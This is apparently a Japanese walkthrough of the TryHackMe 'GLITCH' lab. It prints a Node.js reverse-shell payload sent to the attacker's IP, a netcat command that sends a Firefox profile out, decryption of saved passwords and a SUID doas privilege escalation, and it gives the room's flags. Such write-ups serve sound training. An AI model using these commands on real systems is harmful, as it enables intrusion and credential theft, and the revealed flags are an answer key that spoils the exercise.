概要
TryHackMe「GLITCH」のWalkthroughです。
Task1
Q2.What is your access token?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A -p- 10.10.20.216 -oN nmap_result
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: not allowed
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
80 | http | nginx 1.14.0 |
80
番ポートにアクセスします。
ソースコードを確認すると/api/access
パスを発見しました。
/api/access
にアクセスするとトークンが得られました。
$ curl http://10.10.3.63/api/access
{"token":"dGhpc19pc19ub3RfcmVhbA=="}
base64でデコードしてトークンを得ました。
$ echo "dGhpc19pc19ub3RfcmVhbA==" | base64 -d
this_is_not_real
A.this_is_not_real
Q3.What is the content of user.txt?
Hint.What other methods does the API accept?
/
へのHTTPリクエストを確認するとCookieにトークンをセットできます。
先ほど得たトークンを設定すると新しいページが表示されました。
ソースコードから/js/script.js
を読み込んでいることが分かったので見ると、/api/items
から画像データを取得しています。
リクエストを送るとアイテム一覧を取得できました。
$ curl http://10.10.3.63/api/items
{"sins":["lust","gluttony","greed","sloth","wrath","envy","pride"],"errors":["error","error","error","error","error","error","error","error","error"],"deaths":["death"]}
OPTIONS
リクエストの結果から、POSTリクエストが許可されていると分かりました。
$ curl -X OPTIONS http://10.10.3.63/api/items
GET,HEAD,POST
POSTリクエストを送信するとメッセージが帰ってきました。
$ curl -X POST http://10.10.3.63/api/items
{"message":"there_is_a_glitch_in_the_matrix"}
リクエストパラメーターのファジングをします。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/dirsearch.txt -request-proto http -request post_request_fuzz -t 100
cmd [Status: 500, Size: 1081, Words: 55, Lines: 11, Duration: 244ms]
cmd
パラメーターを介してRCEできそうです。
リクエストを送信するとエラーが返ってきました。
NodeJSで動いていそうなのでNodeJSのRCEペイロードを使用します。
Netcatでリッスンします。
$ nc -lvnp 1234
listening on [any] 1234 ...
リバースシェルのペイロードを送信し、シェルを張れました。
?cmd=require('child_process').exec('bash+-c+"bash+-i+>%26+/dev/tcp/10.6.55.144/1234+0>%261"')
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.3.63] 44674
bash: cannot set terminal process group (1386): Inappropriate ioctl for device
bash: no job control in this shell
user@ubuntu:/var/web$
TTYの設定をします。
$ python -c "import pty;pty.spawn('/bin/bash')"
/home/user/user.txt
からユーザーフラグを入手できました。
THM{i_don't_know_why}
A.THM{i_don't_know_why}
Q4.What is the content of root.txt?
Hint.My friend says that sudo is bloat.
/home/user
配下を確認すると.firefox
が見つかりました。
$ ls -la
ls -la
total 48
drwxr-xr-x 8 user user 4096 Jan 27 2021 .
drwxr-xr-x 4 root root 4096 Jan 15 2021 ..
lrwxrwxrwx 1 root root 9 Jan 21 2021 .bash_history -> /dev/null
-rw-r--r-- 1 user user 3771 Apr 4 2018 .bashrc
drwx------ 2 user user 4096 Jan 4 2021 .cache
drwxrwxrwx 4 user user 4096 Jan 27 2021 .firefox
drwx------ 3 user user 4096 Jan 4 2021 .gnupg
drwxr-xr-x 270 user user 12288 Jan 4 2021 .npm
drwxrwxr-x 5 user user 4096 Oct 4 04:32 .pm2
drwx------ 2 user user 4096 Jan 21 2021 .ssh
-rw-rw-r-- 1 user user 22 Jan 4 2021 user.txt
Netcatを使用してファイルをダウンロードします。
Kaliでリッスンします。
$ nc -nlvp 7777 | tar xf -
listening on [any] 7777 ...
ターゲットマシン上から接続します。
$ cd .firefox
$ tar cf - . | nc 10.6.55.144 7777
.firefox
ディレクトリ配下のファイルをダウンロードできました。
drwxr-xr-x 11 kali kali 4096 Jan 27 2021 b5w4643p.default-release
drwxr-xr-x 3 kali kali 4096 Jan 27 2021 'Crash Reports'
-rwxr-xr-x 1 kali kali 259 Jan 27 2021 profiles.ini
下記リポジトリツールを使用してパスワードを復号します。
v0id
のパスワードを得られました。
$ python firefox_decrypt.py ../b5w4643p.default-release
2024-10-04 01:30:39,884 - WARNING - profile.ini not found in ../b5w4643p.default-release
2024-10-04 01:30:39,885 - WARNING - Continuing and assuming '../b5w4643p.default-release' is a profile location
Website: https://glitch.thm
Username: 'v0id'
Password: 'love_the_void'
v0id
アカウントへ昇格できました。
$ su v0id
su v0id
Password: love_the_void
v0id@ubuntu:/home/user/.firefox$
SUIDの検索をします。
$ find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/doas
(省略)
/usr/local/bin/doas
を悪用して権限昇格できました。
$ /usr/local/bin/doas -u root /bin/bash
/usr/local/bin/doas -u root /bin/bash
Password: love_the_void
root@ubuntu:/tmp#
/root/root.txt
からルートフラグを入手できます。
THM{diamonds_break_our_aching_minds}
A.THM{diamonds_break_our_aching_minds}